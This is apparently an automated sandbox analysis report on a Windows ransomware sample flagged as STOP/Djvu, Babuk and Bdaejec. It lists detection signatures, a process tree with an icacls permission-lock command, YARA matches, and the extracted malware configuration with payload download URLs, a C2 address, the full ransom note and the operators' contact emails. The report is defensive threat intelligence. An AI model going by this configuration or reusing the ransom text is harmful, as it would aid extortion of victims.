Edit tour

Windows Analysis Report
F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Overview

General Information

Sample name:	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Analysis ID:	1480937
MD5:	502d888ea54c803993572355cc829b54
SHA1:	408ad3c6791d64372ac3583717efa33562d47a35
SHA256:	4f1bcdcbc93f0edf7a5b94c5da7b46ee72d4ba9619862036ed1cb202a07385c2
Tags:	exe
Infos:

Detection

Babuk, Bdaejec, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Yara detected Babuk Ransomware

Yara detected Bdaejec

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

PE file contains section with special chars

PE file has a writeable .text section

Sample uses process hollowing technique

Uses known network protocols on non-standard ports

Writes a notice file (html or txt) to demand a ransom

AV process strings found (often used to terminate AV products)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 6432 cmdline: "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" MD5: 502D888EA54C803993572355CC829B54)

OmbNjE.exe (PID: 3664 cmdline: C:\Users\user\AppData\Local\Temp\OmbNjE.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 3224 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3664 -s 1700 MD5: C31336C1EFC2CCB44B4326EA793040F2)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 1804 cmdline: "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" MD5: 502D888EA54C803993572355CC829B54)

icacls.exe (PID: 6688 cmdline: icacls "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 1404 cmdline: "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask MD5: 502D888EA54C803993572355CC829B54)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 7020 cmdline: "C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --Admin IsNotAutoStart IsNotTask MD5: 502D888EA54C803993572355CC829B54)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 6272 cmdline: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task MD5: 502D888EA54C803993572355CC829B54)

OmbNjE.exe (PID: 736 cmdline: C:\Users\user\AppData\Local\Temp\OmbNjE.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 4996 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 1492 cmdline: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe --Task MD5: 502D888EA54C803993572355CC829B54)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 5608 cmdline: "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart MD5: 502D888EA54C803993572355CC829B54)

OmbNjE.exe (PID: 4460 cmdline: C:\Users\user\AppData\Local\Temp\OmbNjE.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 4876 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\51eb5671.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart MD5: 502D888EA54C803993572355CC829B54)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 3196 cmdline: "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart MD5: 502D888EA54C803993572355CC829B54)

OmbNjE.exe (PID: 1484 cmdline: C:\Users\user\AppData\Local\Temp\OmbNjE.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 6336 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\13433410.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe (PID: 6688 cmdline: "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart MD5: 502D888EA54C803993572355CC829B54)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20usering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20usering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-NdDG3HIUZp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0428Jsfkjn", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArGGHSIReD5SZWt2Y24Jb\\\\n\\/OJzG8zcoErv0h105BXFBabk95nZT\\/wQpplVzu+v7ZTXdl3xSBH1GzqAh9epyzHm\\\\nS6tN\\/cpzi69NM585EzjGu1nInIYNy1AJ1C\\/m+tycy9M2UPdFznknzcuL\\/nYXhgjf\\\\nyclwhqed8ThmhDq8u5zVodb+IPNSZYPP5HUvTYUuCYDy6htq04Jmrml\\/UZkzdSwZ\\\\nMk4b+WKc\\/aWllJ\\/Bu5h394Kif6QWBVXWAzjF06Pb2HJ2PHFM4ZF56W9lDjmx7uGB\\\\nMlq1xpN4q\\/MzdW4kktCDEkrl50YvX9yzR68TXR3RPxfTz4EPGX4uI0BWHp8pOoeO\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000016.00000002.2411512364.0000000002260000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.2334754959.0000000000790000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6432	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6432	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x332d4:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: OmbNjE.exe PID: 3664	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1804	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1804	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x5dfaa:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1404	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1404	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3238d:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6272	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6272	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4abfd:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: OmbNjE.exe PID: 736	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x60071:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3e8d5:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 5608	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 5608	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4b54a:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: OmbNjE.exe PID: 4460	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
